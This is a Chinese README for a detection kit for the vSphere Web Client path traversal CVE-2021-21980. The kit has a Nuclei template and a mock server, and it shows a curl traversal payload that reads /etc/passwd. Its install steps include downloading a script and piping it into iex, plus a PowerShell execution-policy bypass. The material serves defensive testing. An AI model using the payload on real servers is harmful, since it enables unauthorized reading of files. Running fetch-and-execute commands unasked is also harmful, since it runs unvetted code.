本仓库包含一个用于检测 CVE-2021-21980(vSphere Web Client 路径遍历)的高置信度 Nuclei 模板,以及一个模拟该漏洞行为的小型模拟环境,用于安全的本地测试。
文件:
cve-2021-21980.yaml:包含多种编码变体和匹配器的 Nuclei 模板app.py:模拟 /eam/vib 路径遍历漏洞的小型 Flask 应用Dockerfile:带有自签名 TLS 证书的模拟服务器容器镜像docker-compose.yml:运行模拟服务器,监听主机 8443 端口requirements.txt:Python 依赖cd C:\Users\gui\Documents\hi
docker-compose up --build -d
模拟服务器将在 https://localhost:8443 上监听(自签名 TLS 证书)。
curl -k "https://localhost:8443/" # 应返回 VMware vSphere Web Client (mock)
curl -k "https://localhost:8443/eam/vib?id=../../../../../../../../../../etc/passwd"
您应收到模拟文件 /app/sensitive/passwd-mock 的内容。
nuclei -t cve-2021-21980.yaml -u https://localhost:8443 -insecure
如需测试多种编码变体,请将 Nuclei 模板设置为高详细模式运行。
运行 run_local_test.ps1,它会构建、等待就绪并执行 curl 检查,如果可用还会运行 Nuclei。
powershell -ExecutionPolicy Bypass -File .\run_local_test.ps1
在 Windows 上安装 Nuclei(快速):
iwr -useb get.scoop.sh | iex
scoop install coreutils
scoop install nuclei
Invoke-WebRequest -Uri https://github.com/projectdiscovery/nuclei/releases/latest/download/nuclei_windows_amd64.zip -OutFile nuclei.zip
Expand-Archive -Path nuclei.zip -DestinationPath .\nuclei
Add-Content -Path $PROFILE -Value 'set PATH=$Env:PATH;$(Resolve-Path .\nuclei)'
如果 nuclei 不在 PATH 中,run_local_test.ps1 将仅执行 curl 测试部分。
如果构建 Docker 镜像时遇到问题,请确保已安装 Docker Desktop 并启用“使用基于 WSL 2 的引擎”。
如果服务器存在漏洞,将返回 /etc/passwd 或类似文件。
安全:在扫描或利用系统之前,务必获得明确授权。